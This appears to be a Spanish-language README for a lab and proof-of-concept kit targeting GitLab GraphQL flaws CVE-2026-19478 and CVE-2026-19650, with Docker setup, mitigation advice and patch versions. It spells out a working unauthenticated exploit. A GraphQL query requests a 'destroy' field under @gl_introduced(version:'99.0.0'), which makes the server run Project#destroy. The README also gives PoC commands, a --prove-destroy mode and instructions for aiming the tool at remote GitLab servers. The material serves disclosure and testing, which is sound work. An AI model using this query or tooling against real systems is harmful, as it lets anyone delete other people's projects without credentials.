Laboratorio A/B reproducible + PoC seguro para GitLab CVE-2026-19478 / CVE-2026-19650 (GraphQL @gl_introduced)
@gl_introduced de GitLab GraphQL (laboratorio de validación + PoC)Laboratorio A/B reproducible y PoC seguro para CVE-2026-19478 (GitLab CE/EE, CVSS 9.4, Crítico). Un atacante no autenticado puede invocar métodos Ruby arbitrarios de 0 argumentos sobre objetos de dominio resueltos por GraphQL — p. ej. llamar a
Project#destroypara eliminar un proyecto público sin credenciales.También incluye un PoC para el CVE-2026-19650 relacionado (intercambio de consultas multiplex de GraphQL) corregido en la misma versión.
Solo para pruebas de seguridad autorizadas / educación. Todo se ejecuta contra tus propios contenedores locales.
GitLab incluye una directiva de cliente GraphQL @gl_introduced(version: "X.Y.Z") (compatibilidad hacia delante para
despliegues continuos). Cuando una consulta nombra un campo con una versión más reciente que la del servidor en ejecución, un trazador
(Gitlab::Graphql::VersionFilter::IntroducedTracer) lo elimina antes de la , de modo que la consulta
se valida, y luego vuelve a ejecutar el documento en tiempo de ejecución y deja que los campos desconocidos se resuelvan mediante un respaldo.
El bug está en el respaldo (lib/gitlab/graphql/version_filter/future_field_fallback.rb, antes del parche):
def fallback_field(name:)
GraphQL::Schema::Field.new(owner: self, name: name,
type: GraphQL::Types::Boolean, fallback_value: nil) # <-- no resolver
end
Un GraphQL::Schema::Field sin resolver es resuelto por graphql-ruby llamando a
object.public_send(field_name) (graphql-ruby lib/graphql/schema/field.rb: la
rama respond_to?(@method_sym) → public_send se ejecuta antes de que se consulte fallback_value, por lo que
fallback_value: nil era código muerto). Por lo tanto, bajo @gl_introduced, el cliente elige un nombre de campo
igual a cualquier método de 0 argumentos del objeto actualmente resuelto, y el servidor lo invoca.
Resuelve un proyecto público, solicita un «campo futuro» llamado destroy → el servidor ejecuta Project#destroy.
AV:N/AC:L/PR:N/UI:N/C:L/I:H/A:H).Resolvers::NilResolver explícito que devuelve nil y nunca llama a un método.@gl_introduced(version:) debe ser mayor que la versión del servidor (usa 99.0.0).to_param, destroy).id); de lo contrario, el documento filtrado es un
conjunto de selección vacío y GitLab devuelve un error de validación "Field must have selections".Requisitos: Docker + docker compose, ~8 GB de RAM libre, Python 3.
docker compose up -d # boots vulnerable :8222 and patched :8224 (GitLab takes ~3-5 min to become healthy)
./setup.sh # waits for readiness, seeds a public project + an admin token on each instance
setup.sh muestra, por instancia: la URL base, la ruta del proyecto público sembrado (root/pub) y un PAT de administrador.
Usa la primitiva de llamada a método con un método inofensivo (to_param). No se modifican datos.
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 # vulnerable -> VULNERABLE
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8224 # patched -> NOT VULNERABLE
Resultado esperado:
[*] mechanism check .......... @gl_introduced active (unknown field returns null, no error)
[*] method-call probe ........ { project(fullPath:"root/pub"){ id to_param @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":true}}
[!] VULNERABLE — server invoked Project#to_param via public_send (returned non-null); CVE-2026-19478 present.
vs. en la instancia parcheada:
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":null}}
[+] NOT VULNERABLE — fallback returned null (NilResolver); patched.
Crea su propio proyecto público desechable mediante la API REST (necesita el token de administrador de setup.sh),
luego lo elimina a través del ataque GraphQL no autenticado y confirma que el proyecto ha desaparecido.
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 \
--prove-destroy --token <ADMIN_PAT_FROM_setup.sh> --namespace root
Resultado esperado (vulnerable):
[*] created throwaway public project poc-doomed-<rand> (id=42) via REST
[*] UNAUTH attack ............ { project(fullPath:"root/poc-doomed-<rand>"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/42","destroy":true}}
[+] post-check (REST) ........ GET /api/v4/projects/42 -> 404 Not Found
[!] CONFIRMED — unauthenticated request DELETED the project. CVE-2026-19478 impact proven.
En la instancia parcheada, la misma ejecución informa que el proyecto sigue devolviendo 200 OK y que destroy es null.
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8222 # VULNERABLE (slot 0 returns slot 1's data)
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8224 # NOT VULNERABLE (slots isolated)
Apunta --url a cualquier GitLab que estés autorizado a probar y --project a un proyecto público en él:
python3 poc_cve_2026_19478.py --url https://gitlab.example.com --project some-group/some-public-project
La detección no es destructiva. No uses --prove-destroy contra nada que no sea tuyo.
Actualiza a 19.2.4 / 19.1.6 / 19.0.8 / 18.11.11 o posterior. El parche enruta el respaldo a través de
Resolvers::NilResolver (devuelve nil, nunca invoca un método del objeto). Si no puedes actualizar
de inmediato, bloquea la directiva @gl_introduced / la ruta del filtro de versión en un proxy, o restringe
el acceso GraphQL no autenticado.
| Archivo | Propósito |
|---|---|
docker-compose.yml | Inicia 19.2.2-ce vulnerable (:8222) + 19.2.4-ce parcheado (:8224) |
setup.sh | Espera a que esté listo, siembra el proyecto público root/pub + token de administrador por instancia |
poc_cve_2026_19478.py | Detección (segura) + prueba de impacto opcional --prove-destroy |
poc_cve_2026_19650.py | Detección de intercambio de consultas multiplex (segura) |
--prove-destroy crea y elimina su propio proyecto desechable; nunca toca root/pub ni tus datos.e283c6adeb3d (respaldo) y d2ea4b971a98 (intercambio multiplex).